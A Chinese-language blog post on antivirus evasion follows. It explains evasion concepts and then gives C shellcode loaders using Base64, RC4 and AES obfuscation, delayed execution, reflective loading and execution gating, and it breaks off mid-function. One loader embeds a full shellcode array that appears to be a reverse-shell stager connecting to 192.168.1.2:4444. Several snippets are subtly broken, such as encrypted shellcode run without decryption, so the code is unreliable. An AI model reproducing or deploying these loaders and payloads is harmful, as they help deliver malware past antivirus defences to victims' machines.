免杀基础知识
2025-05-01 11:59:12 # 免杀

基础知识

1. 什么是免杀?

免杀(BypassAV)是指通过修改恶意软件的行为、代码结构或加载方式,使其不被杀毒软件检测到。免杀技术广泛应用于渗透测试、红队攻防等领域。[1]

2.免杀的常见目标

  • Windows Defender:Windows系统自带的安全防护工具。

  • 360安全卫士:国内常见的杀毒软件,检测能力较强。

  • 火绒:一款轻量级的国产杀软,以低误报率著称。

  • 卡巴斯基、ESET、Norton:国外常见的杀软,检测能力较强。

3.免杀的核心思想

  • 降低特征匹配:减少杀软特征库中匹配到的特征。

  • 行为隐藏:通过混淆、加密、分离加载等方式隐藏恶意行为。

  • 利用系统机制:利用系统API、回调函数等合法机制执行恶意代码。

免杀中的专业名词

1. Shellcode

  • 定义:一段用于执行特定功能的机器代码,通常以二进制形式存在。

  • 用途:常用于反向连接、持久化等操作。

  • 免杀方法:加密、混淆、分离加载。

简单理解,就像一段魔法咒语,念出来就能实现特定功能。

2. Loader(加载器)

  • 定义:用于加载和执行Shellcode的程序。

  • 用途:将加密或混淆的Shellcode加载到内存中执行。

  • 免杀方法:使用合法API、回调函数、多线程等技术。

简单理解,就是一个程序启动器,用来启动需要启动的恶意程序。

3. Obfuscation(混淆)

  • 定义:通过修改代码结构、变量名、控制流等,使代码难以理解。

  • 用途:降低杀软静态分析的效果。

  • 常见工具:ConfuserEx、Dotfuscator。

简单理解,就像把一篇文章写得乱七八糟,谁也看不懂。

4. Entropy(熵值)

  • 定义:衡量数据随机性的指标,熵值越高,数据越随机。

  • 用途:杀软通过检测高熵值数据来识别加密的恶意代码。

  • 免杀方法:降低Shellcode的熵值,例如分段加载。

简单理解,就像检测食物的辣度,太辣了就会引起注意。

5. Signature(签名)

  • 定义:用于验证程序合法性的数字证书。

  • 用途:劫持合法签名可以绕过杀软的信任机制。

  • 免杀工具:SigThief。

简单理解,就像伪造身份证,骗过安检人员。

6. Reflective DLL Injection(反射式DLL注入)

  • 定义:一种将DLL直接加载到目标进程内存中的技术,无需将DLL写入磁盘。

  • 用途:常用于绕过杀软的文件扫描和静态检测。

简单理解,就像把一本书的内容直接塞进别人的脑子里,不用把书递给他。

7. Process Hollowing(进程镂空)

  • 定义:一种将合法进程的内容替换为恶意代码的技术。

  • 用途:常用于隐藏恶意代码的行为。

简单理解,就像把一个苹果挖空,里面塞了个炸弹,外面看起来还是个苹果。

8. API Hooking(API钩子)

  • 定义:一种拦截和修改API调用的技术。

  • 用途:常用于隐藏恶意行为或修改程序行为。

简单理解,就像在电话线上装个窃听器,偷听并修改对方的通话内容。

9. Code Cave(代码洞穴)

  • 定义:一段未被使用的内存区域,可以用来插入额外的代码。

  • 用途:常用于隐藏恶意代码或增加功能。

简单理解,就像在墙里挖个洞,里面藏了把钥匙。

10. Sandbox Evasio(沙箱逃逸)

  • 定义:一种检测和逃避沙箱环境的技术。

  • 用途:常用于避免在沙箱中被检测。

简单理解,就像在实验室里装正常人,一出实验室就变身坏蛋。

免杀技术分类

1. 静态免杀

  • 定义:通过修改文件结构、代码或资源,避免杀软静态扫描检测。
  • 常见方法
    • 代码混淆
    • 加密Shellcode
    • 添加合法签名
    • 修改文件图标

Base64混淆Shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// Base64混淆Shellcode
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// 简单Base64解码函数
unsigned charbase64_decode(const char* input) {
    // 实现Base64解码逻辑(此处省略具体实现)
    return (unsigned char*)input; // 实际需正确解码
}

int main() {
    const char* base64_shellcode = "aGVsbG8gd29ybGQ="// 示例Base64编码的Shellcode
    unsigned char* shellcode = base64_decode(base64_shellcode);
    
    // 分配内存并执行
    void* exec = VirtualAlloc(0strlen((char*)shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, shellcode, strlen((char*)shellcode));
    ((void(*)())exec)();
    
    return 0;
}

RC4加密Shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
// RC4加密Shellcode
#include <windows.h>
#include <string.h>

// RC4加密算法实现
void rc4_crypt(unsigned char *data, int data_len, unsigned char *key, int key_len) {
    unsigned char S[256];
    int i, j = 0;
    
    // 初始化S数组
    for (i = 0; i < 256; i++) {
        S[i] = (unsigned char)i;
    }
    
    // 密钥调度算法 (KSA)
    for (i = 0; i < 256; i++) {
        j = (j + S[i] + key[i % key_len]) & 0xFF;  // 等同于模256运算
        // 交换S[i]和S[j]
        unsigned char temp = S[i];
        S[i] = S[j];
        S[j] = temp;
    }
    
    // 伪随机数生成算法 (PRGA)
    i = 0;
    j = 0;
    for (int k = 0; k < data_len; k++) {
        i = (i + 1) & 0xFF;
        j = (j + S[i]) & 0xFF;
        // 交换S[i]和S[j]
        unsigned char temp = S[i];
        S[i] = S[j];
        S[j] = temp;
        // 生成伪随机数,并与数据异或
        unsigned char rnd = S[(S[i] + S[j]) & 0xFF];
        data[k] ^= rnd;
    }
}

int main() {
    unsigned char shellcode[] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b"// 示例Shellcode
    unsigned char key[] = "secretkey"// 加密密钥
    
    rc4_crypt(shellcode, sizeof(shellcode) - 1, key, sizeof(key) - 1);
    
    // 分配内存并执行
    void* exec = VirtualAlloc(0sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, shellcode, sizeof(shellcode));
    ((void(*)())exec)();
    
    return 0;
}

AES加密Shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
// AES加密Shellcode
#include <windows.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

// --- AES基本常量与辅助函数 ---

// AES S-box
static const unsigned char sbox[256] = {
    /* 0x00 */ 0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,
    /* 0x10 */ 0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,
    /* 0x20 */ 0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,
    /* 0x30 */ 0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,
    /* 0x40 */ 0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,
    /* 0x50 */ 0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,
    /* 0x60 */ 0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,
    /* 0x70 */ 0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,
    /* 0x80 */ 0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,
    /* 0x90 */ 0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,
    /* 0xA0 */ 0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,
    /* 0xB0 */ 0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,
    /* 0xC0 */ 0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,
    /* 0xD0 */ 0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,
    /* 0xE0 */ 0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,
    /* 0xF0 */ 0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16
};

// AES Rcon数组,用于密钥扩展(注意第一个元素未用)
static const unsigned char Rcon[11] = { 
    0x00,0x01,0x02,0x04,0x08,0x10,0x20,0x40,0x80,0x1B,0x36 
};

// xtime函数:GF(2^8)中乘2运算
unsigned char xtime(unsigned char x) {
    return (x << 1) ^ ((x >> 7) & 1 ? 0x1B : 0);
}

// --- AES核心函数 ---

// 添加轮密钥:将状态数组与轮密钥异或
void AddRoundKey(unsigned char state[16], const unsigned char roundKey[16]) {
    for (int i = 0; i < 16; i++)
        state[i] ^= roundKey[i];
}

// 字节代换:使用S-box对状态数组中每个字节替换
void SubBytes(unsigned char state[16]) {
    for (int i = 0; i < 16; i++)
        state[i] = sbox[state[i]];
}

// 行移位:对状态数组的每一行进行循环左移
void ShiftRows(unsigned char state[16]) {
    unsigned char temp[16];
    // 第一行不变
    temp[0]  = state[0];
    temp[4]  = state[4];
    temp[8]  = state[8];
    temp[12] = state[12];
    // 第二行左移1位
    temp[1]  = state[5];
    temp[5]  = state[9];
    temp[9]  = state[13];
    temp[13] = state[1];
    // 第三行左移2位
    temp[2]  = state[10];
    temp[6]  = state[14];
    temp[10] = state[2];
    temp[14] = state[6];
    // 第四行左移3位
    temp[3]  = state[15];
    temp[7]  = state[3];
    temp[11] = state[7];
    temp[15] = state[11];
    memcpy(state, temp, 16);
}

// 列混合:对状态数组的每一列进行混合变换
void MixColumns(unsigned char state[16]) {
    for (int i = 0; i < 4; i++) {
        int col = i * 4;
        unsigned char a0 = state[col];
        unsigned char a1 = state[col+1];
        unsigned char a2 = state[col+2];
        unsigned char a3 = state[col+3];
        // 根据GF(2^8)运算实现2和3的乘法
        unsigned char b0 = xtime(a0) ^ (xtime(a1) ^ a1) ^ a2 ^ a3;
        unsigned char b1 = a0 ^ xtime(a1) ^ (xtime(a2) ^ a2) ^ a3;
        unsigned char b2 = a0 ^ a1 ^ xtime(a2) ^ (xtime(a3) ^ a3);
        unsigned char b3 = (xtime(a0) ^ a0) ^ a1 ^ a2 ^ xtime(a3);
        state[col]   = b0;
        state[col+1] = b1;
        state[col+2] = b2;
        state[col+3] = b3;
    }
}

// 密钥扩展:由16字节的初始密钥扩展得到176字节的轮密钥
void KeyExpansion(const unsigned char* key, unsigned char roundKeys[176]) {
    memcpy(roundKeys, key, 16);
    int bytesGenerated = 16;
    int rconIteration = 1;
    unsigned char temp[4];

    while (bytesGenerated < 176) {
        // 取前4个字节
        for (int i = 0; i < 4; i++)
            temp[i] = roundKeys[bytesGenerated - 4 + i];

        // 每16字节时,进行密钥调度核心变换
        if (bytesGenerated % 16 == 0) {
            // 循环左移1字节
            unsigned char t = temp[0];
            temp[0] = temp[1];
            temp[1] = temp[2];
            temp[2] = temp[3];
            temp[3] = t;
            // S-box代换
            for (int i = 0; i < 4; i++)
                temp[i] = sbox[temp[i]];
            // 与Rcon异或
            temp[0] ^= Rcon[rconIteration];
            rconIteration++;
        }
        // 生成新一轮密钥字节
        for (int i = 0; i < 4; i++) {
            roundKeys[bytesGenerated] = roundKeys[bytesGenerated - 16] ^ temp[i];
            bytesGenerated++;
        }
    }
}

// 对单个16字节数据块进行AES-128加密
void AES_encrypt_block(const unsigned char in[16], unsigned char out[16], const unsigned char roundKeys[176]) {
    unsigned char state[16];
    memcpy(state, in, 16);

    // 初始轮密钥加
    AddRoundKey(state, roundKeys);

    // 9轮常规轮变换
    for (int round = 1; round < 10; round++) {
        SubBytes(state);
        ShiftRows(state);
        MixColumns(state);
        AddRoundKey(state, roundKeys + round * 16);
    }

    // 第10轮(无MixColumns)
    SubBytes(state);
    ShiftRows(state);
    AddRoundKey(state, roundKeys + 10 * 16);

    memcpy(out, state, 16);
}

// --- CBC模式下的AES加密函数 ---
// 这里对数据按16字节分组,数据不足16字节时使用零填充
void aes_encrypt(unsigned char *data, int data_len, unsigned char *key, unsigned char *iv) {
    // 计算填充后数据长度(16的倍数)
    int padded_len = ((data_len + 15) / 16) * 16;
    unsigned char *buffer = (unsigned char *)malloc(padded_len);
    memcpy(buffer, data, data_len);
    // 对不足部分使用0填充
    memset(buffer + data_len, 0, padded_len - data_len);

    unsigned char roundKeys[176];
    KeyExpansion(key, roundKeys);

    unsigned char prev[16];
    memcpy(prev, iv, 16);

    // 按16字节块进行CBC加密
    for (int i = 0; i < padded_len; i += 16) {
        // 与前一个密文块(或IV)异或
        for (int j = 0; j < 16; j++)
            buffer[i+j] ^= prev[j];

        unsigned char out[16];
        AES_encrypt_block(buffer + i, out, roundKeys);
        memcpy(buffer + i, out, 16);
        // 更新prev为当前密文块
        memcpy(prev, out, 16);
    }
    // 将加密后的数据复制回原data中(注意:可能比原data长,如果data所在空间足够)
    memcpy(data, buffer, padded_len);
    free(buffer);
}

// --- 主函数示例 ---
// 加密Shellcode后分配内存并执行
int main() {
    // 示例Shellcode
    unsigned char shellcode[] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b";
    unsigned char key[] = "1234567890123456"// 16字节密钥
    unsigned char iv[]  = "1234567890123456"// 16字节初始化向量

    int shellcode_len = sizeof(shellcode) - 1// 排除字符串结束符

    // 执行AES CBC加密(原地加密,填充可能会扩充数据,使用时请确保足够空间)
    aes_encrypt(shellcode, shellcode_len, key, iv);

    // 分配内存并执行加密后的Shellcode
    void* exec = VirtualAlloc(0, shellcode_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, shellcode, shellcode_len);
    ((void(*)())exec)();

    return 0;
}

参考代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
#include <windows.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

// ---------------- RC4加密 ----------------
void rc4_crypt(unsigned char *data, int data_len, unsigned char *key, int key_len) {
    unsigned char S[256];
    int i, j = 0;
    
    // 初始化S数组
    for (i = 0; i < 256; i++) {
        S[i] = (unsigned char)i;
    }
    
    // 密钥调度算法 (KSA)
    for (i = 0; i < 256; i++) {
        j = (j + S[i] + key[i % key_len]) & 0xFF;
        unsigned char temp = S[i];
        S[i] = S[j];
        S[j] = temp;
    }
    
    // 伪随机数生成算法 (PRGA)
    i = 0;
    j = 0;
    for (int k = 0; k < data_len; k++) {
        i = (i + 1) & 0xFF;
        j = (j + S[i]) & 0xFF;
        unsigned char temp = S[i];
        S[i] = S[j];
        S[j] = temp;
        unsigned char rnd = S[(S[i] + S[j]) & 0xFF];
        data[k] ^= rnd;
    }
}

// ---------------- AES加密(纯C实现,无第三方库) ----------------

// AES S-box
static const unsigned char sbox[256] = {
    0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,
    0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,
    0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,
    0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,
    0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,
    0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,
    0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,
    0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,
    0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,
    0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,
    0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,
    0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,
    0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,
    0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,
    0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,
    0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16
};

// AES Rcon数组,用于密钥扩展
static const unsigned char Rcon[11] = { 
    0x00,0x01,0x02,0x04,0x08,0x10,0x20,0x40,0x80,0x1B,0x36 
};

// xtime函数:GF(2^8)中乘2运算
unsigned char xtime(unsigned char x) {
    return (x << 1) ^ ((x >> 7) & 1 ? 0x1B : 0);
}

// 添加轮密钥
void AddRoundKey(unsigned char state[16], const unsigned char roundKey[16]) {
    for (int i = 0; i < 16; i++)
        state[i] ^= roundKey[i];
}

// 字节代换
void SubBytes(unsigned char state[16]) {
    for (int i = 0; i < 16; i++)
        state[i] = sbox[state[i]];
}

// 行移位
void ShiftRows(unsigned char state[16]) {
    unsigned char temp[16];
    // 第一行
    temp[0]  = state[0];
    temp[4]  = state[4];
    temp[8]  = state[8];
    temp[12] = state[12];
    // 第二行左移1位
    temp[1]  = state[5];
    temp[5]  = state[9];
    temp[9]  = state[13];
    temp[13] = state[1];
    // 第三行左移2位
    temp[2]  = state[10];
    temp[6]  = state[14];
    temp[10] = state[2];
    temp[14] = state[6];
    // 第四行左移3位
    temp[3]  = state[15];
    temp[7]  = state[3];
    temp[11] = state[7];
    temp[15] = state[11];
    memcpy(state, temp, 16);
}

// 列混合
void MixColumns(unsigned char state[16]) {
    for (int i = 0; i < 4; i++) {
        int col = i * 4;
        unsigned char a0 = state[col];
        unsigned char a1 = state[col+1];
        unsigned char a2 = state[col+2];
        unsigned char a3 = state[col+3];
        unsigned char b0 = xtime(a0) ^ (xtime(a1) ^ a1) ^ a2 ^ a3;
        unsigned char b1 = a0 ^ xtime(a1) ^ (xtime(a2) ^ a2) ^ a3;
        unsigned char b2 = a0 ^ a1 ^ xtime(a2) ^ (xtime(a3) ^ a3);
        unsigned char b3 = (xtime(a0) ^ a0) ^ a1 ^ a2 ^ xtime(a3);
        state[col]   = b0;
        state[col+1] = b1;
        state[col+2] = b2;
        state[col+3] = b3;
    }
}

// 密钥扩展:16字节密钥扩展到176字节轮密钥
void KeyExpansion(const unsigned char* key, unsigned char roundKeys[176]) {
    memcpy(roundKeys, key, 16);
    int bytesGenerated = 16;
    int rconIteration = 1;
    unsigned char temp[4];

    while (bytesGenerated < 176) {
        for (int i = 0; i < 4; i++)
            temp[i] = roundKeys[bytesGenerated - 4 + i];

        if (bytesGenerated % 16 == 0) {
            // 循环左移1字节
            unsigned char t = temp[0];
            temp[0] = temp[1];
            temp[1] = temp[2];
            temp[2] = temp[3];
            temp[3] = t;
            // S-box代换
            for (int i = 0; i < 4; i++)
                temp[i] = sbox[temp[i]];
            // 与Rcon异或
            temp[0] ^= Rcon[rconIteration];
            rconIteration++;
        }
        for (int i = 0; i < 4; i++) {
            roundKeys[bytesGenerated] = roundKeys[bytesGenerated - 16] ^ temp[i];
            bytesGenerated++;
        }
    }
}

// 对单个16字节数据块进行AES-128加密
void AES_encrypt_block(const unsigned char in[16], unsigned char out[16], const unsigned char roundKeys[176]) {
    unsigned char state[16];
    memcpy(state, in, 16);

    // 初始轮密钥加
    AddRoundKey(state, roundKeys);

    // 9轮常规轮
    for (int round = 1; round < 10; round++) {
        SubBytes(state);
        ShiftRows(state);
        MixColumns(state);
        AddRoundKey(state, roundKeys + round * 16);
    }
    // 第10轮(无MixColumns)
    SubBytes(state);
    ShiftRows(state);
    AddRoundKey(state, roundKeys + 10 * 16);

    memcpy(out, state, 16);
}

// CBC模式下的AES加密(零填充)
void aes_encrypt(unsigned char *data, int data_len, unsigned char *key, unsigned char *iv, int *padded_len) {
    // 计算填充后的数据长度
    int len = ((data_len + 15) / 16) * 16;
    *padded_len = len;
    unsigned char *buffer = (unsigned char *)malloc(len);
    memcpy(buffer, data, data_len);
    memset(buffer + data_len, 0, len - data_len);

    unsigned char roundKeys[176];
    KeyExpansion(key, roundKeys);

    unsigned char prev[16];
    memcpy(prev, iv, 16);

    // 对每个16字节块进行CBC加密
    for (int i = 0; i < len; i += 16) {
        for (int j = 0; j < 16; j++)
            buffer[i+j] ^= prev[j];

        unsigned char out[16];
        AES_encrypt_block(buffer + i, out, roundKeys);
        memcpy(buffer + i, out, 16);
        memcpy(prev, out, 16);
    }
    // 将加密结果复制回data(确保data空间足够)
    memcpy(data, buffer, len);
    free(buffer);
}

// ---------------- 主函数:双重加密Shellcode并执行 ----------------
int main() {
    // 示例Shellcode
    unsigned char shellcode_original[] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b";
    int orig_len = sizeof(shellcode_original) - 1// 排除结束符

    // 为加密预留足够空间(AES零填充到16字节倍数)
    int padded_len = ((orig_len + 15) / 16) * 16;
    unsigned char *buffer = (unsigned char *)malloc(padded_len);
    memset(buffer, 0, padded_len);
    memcpy(buffer, shellcode_original, orig_len);

    // RC4加密(第一重加密)
    unsigned char rc4_key[] = "secretkey";
    int rc4_key_len = sizeof(rc4_key) - 1;
    rc4_crypt(buffer, orig_len, rc4_key, rc4_key_len);
    
    // AES加密(第二重加密)
    unsigned char aes_key[] = "1234567890123456"// 16字节密钥
    unsigned char aes_iv[]  = "1234567890123456"// 16字节IV
    int aes_padded_len = 0;
    aes_encrypt(buffer, orig_len, aes_key, aes_iv, &aes_padded_len);
    
    // 分配可执行内存(使用AES加密后的长度)
    void* exec = VirtualAlloc(0, aes_padded_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if(exec == NULL) {
        printf("VirtualAlloc failed\n");
        free(buffer);
        return -1;
    }
    memcpy(exec, buffer, aes_padded_len);

    // 清理加密缓冲区
    free(buffer);

    // 执行解密后的Shellcode(注:实际场景中,Shellcode需先解密后才能执行,此处仅展示加密链路)
    ((void(*)())exec)();

    return 0;
}

2. 动态免杀

  • 定义:通过隐藏运行时行为,避免杀软动态检测。
  • 常见方法:
    • 分离加载Shellcode
    • 使用合法API
    • 多线程技术
    • 延迟执行

延迟执行Shellcode

1
2
3
4
5
// 延迟执行Shellcode
Sleep(5000); // 延迟5秒
void* exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof(shellcode));
((void(*)())exec)();

参考代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <windows.h>

unsigned char shellcode[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x01\x02\x68\x02"
"\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"
"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9\x71\xff\xff"
"\xff\x01\xc3\x29\xc6\x75\xc1\xc3";

int main() {
Sleep(5000); // 延迟5秒

void* exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof(shellcode));
((void(*)())exec)();

return 0;
}

3. 内存免杀

  • 定义:将恶意代码加载到内存中执行,避免文件落地触发杀软检测。
  • 常见方法:
    • 使用反射加载技术
    • 利用进程注入
    • 使用合法的内存分配API

反射加载DLL

1
2
3
4
// 反射加载DLL
void* dllMemory = VirtualAlloc(NULL, dllSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(dllMemory, dllData, dllSize);
((void(*)())dllMemory)();

参考代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <windows.h>

// 嵌入DLL二进制数据(示例使用MessageBoxA)
unsigned char dllData[] = {
// 此处放置DLL的二进制数据(实际需替换为真实DLL)
};

int main() {
DWORD dllSize = sizeof(dllData);
void* dllMemory = VirtualAlloc(NULL, dllSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(dllMemory, dllData, dllSize);

// 执行DLL入口函数
((void(*)())dllMemory)();

return 0;
}

4. 行为免杀

  • 定义:通过模拟合法程序的行为,避免引起杀软怀疑。
  • 常见方法:
    • 限制恶意代码的执行条件
    • 使用合法的系统回调函数
    • 模拟用户操作行为

限制执行条件

1
2
3
4
// 限制执行条件
if (IsAdmin() && IsTargetMachine()) {
ExecuteMaliciousCode();
}

参考代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <windows.h>

BOOL IsAdmin() {
SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
PSID AdministratorsGroup;
if (!AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &AdministratorsGroup))
